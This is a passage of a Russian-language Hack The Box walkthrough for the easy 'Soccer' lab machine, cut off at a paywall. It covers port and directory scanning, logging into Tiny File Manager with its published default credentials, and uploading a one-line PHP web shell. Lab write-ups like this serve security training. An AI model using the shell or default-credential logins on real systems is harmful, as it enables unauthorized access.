Содержание статьи
Полигоном для всех этих упражнений нам послужит тренировочная машина Soccer с площадки Hack The Box. Уровень ее сложности отмечен как легкий.
warning
Подключаться к машинам с HTB рекомендуется только через VPN. Не делай этого с компьютеров, где есть важные для тебя данные, так как ты окажешься в общей сети с другими участниками.
Разведка
Сканирование портов
Добавляем IP-адрес машины в /
:
10.10.11.194 soccer.htb
И запускаем сканирование портов.
Справка: сканирование портов
Сканирование портов — стандартный первый шаг при любой атаке. Он позволяет атакующему узнать, какие службы на хосте принимают соединение. На основе этой информации выбирается следующий шаг к получению точки входа.
Наиболее известный инструмент для сканирования — это Nmap. Улучшить результаты его работы ты можешь при помощи следующего скрипта:
#!/bin/bashports=$(nmap -p- --min-rate=500 $1 | grep ^[0-9] | cut -d '/' -f 1 | tr '\n' ',' | sed s/,$//)nmap -p$ports -A $1
Он действует в два этапа. На первом производится обычное быстрое сканирование, на втором — более тщательное сканирование, с использованием имеющихся скриптов (опция -A
).
Сканер обнаружил три открытых порта:
- 22 — служба OpenSSH 8.2p1;
- 80 — веб‑сервер Nginx 1.18.0;
- 9091 — неизвестный веб‑сервер.
Порт 9091 пока загадочен для нас, SSH, как всегда, оставляем до момента, когда мы завладеем учетной записью, поэтому остается только изучать сайт, расположенный на порте 80.
Нас встречает сайт‑визитка. Поскольку никаких интересных функций у него нет, перейдем к активному сканированию и попытаемся выявить скрытые файлы и каталоги.
Точка входа
Первым делом сканируем скрытые каталоги на веб‑сервере с помощью feroxbuster.
Справка: сканирование веба c feroxbuster
Одно из первых действий при тестировании безопасности веб‑приложения — это сканирование методом перебора каталогов, чтобы найти скрытую информацию и недоступные обычным посетителям функции. Для этого можно использовать программы вроде dirsearch, DIRB или ffuf. Я предпочитаю feroxbuster.
При запуске указываем следующие параметры:
-
-u
— URL; -
-w
— словарь (я использую словари из набора SecLists); -
-t
— количество потоков; -
-d
— глубина сканирования.
feroxbuster -u http://soccer.htb/ -w directory_2.3_medium_lowercase.txt -t 256
На странице /
нас встречает страница авторизации Tiny File Manager.
На вики‑странице Security and User Management находим учетные данные, выставляемые по умолчанию:
admin : admin@123
user : 12345
Повезло! Авторизуемся с учетной записью admin
и получаем доступ к файловому менеджеру.
Мы раздобыли какие‑то файлы, но нам нужны не они, а доступ к системе. Попробуем поискать готовые эксплоиты для Tiny File Manager, благо версия указана — 2.4.3.
Первая же ссылка в Google сообщает нам о том, что есть RCE через загрузку файла.
Точка опоры
Сканирование каталогов показало, что существует каталог uploads
. Загрузим туда самый простой веб‑шелл.
<?php system($_GET['cmd'])?>
Продолжение доступно только участникам
Вариант 1. Присоединись к сообществу «Xakep.ru», чтобы читать все материалы на сайте
Членство в сообществе в течение указанного срока откроет тебе доступ ко ВСЕМ материалам «Хакера», позволит скачивать выпуски в PDF, отключит рекламу на сайте и увеличит личную накопительную скидку! Подробнее
Вариант 2. Открой один материал
Заинтересовала статья, но нет возможности стать членом клуба «Xakep.ru»? Тогда этот вариант для тебя! Обрати внимание: этот способ подходит только для статей, опубликованных более двух месяцев назад.
Я уже участник «Xakep.ru»